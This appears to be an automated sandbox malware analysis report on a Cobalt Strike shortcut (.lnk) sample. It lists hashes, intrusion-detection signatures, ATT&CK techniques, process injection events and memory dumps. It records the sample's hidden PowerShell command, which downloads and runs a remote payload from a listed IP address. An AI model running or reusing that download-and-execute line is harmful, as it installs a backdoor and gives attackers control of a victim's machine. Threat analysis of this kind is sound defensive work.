cobaltstrike | 21286ed0b3e56f49c287617ee5bf4ef687c627e342d72297008e3fce73a5ae20

General

Target

21286ed0b3e56f49c287617ee5bf4ef687c627e342d72297008e3fce73a5ae20.lnk
Size

1KB
MD5

e3f89049dc5f0065ee4d780f8aef9c04
SHA1

ba5fcbdbd5b71bfc52b8a824bd40c547a7223260
SHA256

21286ed0b3e56f49c287617ee5bf4ef687c627e342d72297008e3fce73a5ae20
SHA512

a4f8e14e9caa4c32bb5dcd97d3ac4a050ba63172429172de78c145f05e12c4982fcbb4200cf179da254f70dcf3a0587e5898a0df0bb47beec6a1fc1c44b8a5d9

Score

10^/10

cobaltstrike backdoor suricata trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://120.48.85.228:80/favicon

Signatures

Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
trojan backdoor cobaltstrike
suricata: ET MALWARE Cobalt Strike Beacon Observed
suricata: ET MALWARE Cobalt Strike Beacon Observed
suricata
suricata: ET MALWARE Meterpreter or Other Reverse Shell SSL Cert
suricata: ET MALWARE Meterpreter or Other Reverse Shell SSL Cert
suricata
Blocklisted process makes network request 5 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

3 1476 powershell.exe
6 856 powershell.exe
8 856 powershell.exe
9 856 powershell.exe
11 856 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

1476 powershell.exe
856 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1476 powershell.exe
Token: SeDebugPrivilege 856 powershell.exe

flow	pid	process
3	1476	powershell.exe
6	856	powershell.exe
8	856	powershell.exe
9	856	powershell.exe
11	856	powershell.exe

pid	process
1476	powershell.exe
856	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1476	powershell.exe
Token: SeDebugPrivilege	856	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 360 wrote to memory of 1476	360	cmd.exe	powershell.exe
PID 360 wrote to memory of 1476	360	cmd.exe	powershell.exe
PID 360 wrote to memory of 1476	360	cmd.exe	powershell.exe
PID 1476 wrote to memory of 856	1476	powershell.exe	powershell.exe
PID 1476 wrote to memory of 856	1476	powershell.exe	powershell.exe
PID 1476 wrote to memory of 856	1476	powershell.exe	powershell.exe
PID 1476 wrote to memory of 856	1476	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\21286ed0b3e56f49c287617ee5bf4ef687c627e342d72297008e3fce73a5ae20.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:360

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://120.48.85.228:80/favicon'))"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1476

\??\c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
"c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -s -NoLogo -NoProfile
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:856

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/360-54-0x000007FEFC511000-0x000007FEFC513000-memory.dmp

Filesize
8KB

Download
memory/856-99-0x0000000000000000-mapping.dmp

Download
memory/856-105-0x0000000005130000-0x000000000516E000-memory.dmp

Filesize
248KB

Download
memory/856-104-0x0000000073B30000-0x00000000740DB000-memory.dmp

Filesize
5.7MB

Download
memory/856-103-0x0000000005130000-0x000000000516E000-memory.dmp

Filesize
248KB

Download
memory/856-102-0x0000000004C50000-0x0000000004C84000-memory.dmp

Filesize
208KB

Download
memory/856-101-0x0000000073B30000-0x00000000740DB000-memory.dmp

Filesize
5.7MB

Download
memory/856-100-0x0000000075E31000-0x0000000075E33000-memory.dmp

Filesize
8KB

Download
memory/1476-95-0x0000000002474000-0x0000000002477000-memory.dmp

Filesize
12KB

Download
memory/1476-98-0x000000000247B000-0x000000000249A000-memory.dmp

Filesize
124KB

Download
memory/1476-97-0x0000000002474000-0x0000000002477000-memory.dmp

Filesize
12KB

Download
memory/1476-96-0x000000000247B000-0x000000000249A000-memory.dmp

Filesize
124KB

Download
memory/1476-94-0x000007FEF3420000-0x000007FEF3F7D000-memory.dmp

Filesize
11.4MB

Download
memory/1476-93-0x000007FEF3F80000-0x000007FEF49A3000-memory.dmp

Filesize
10.1MB

Download
memory/1476-88-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing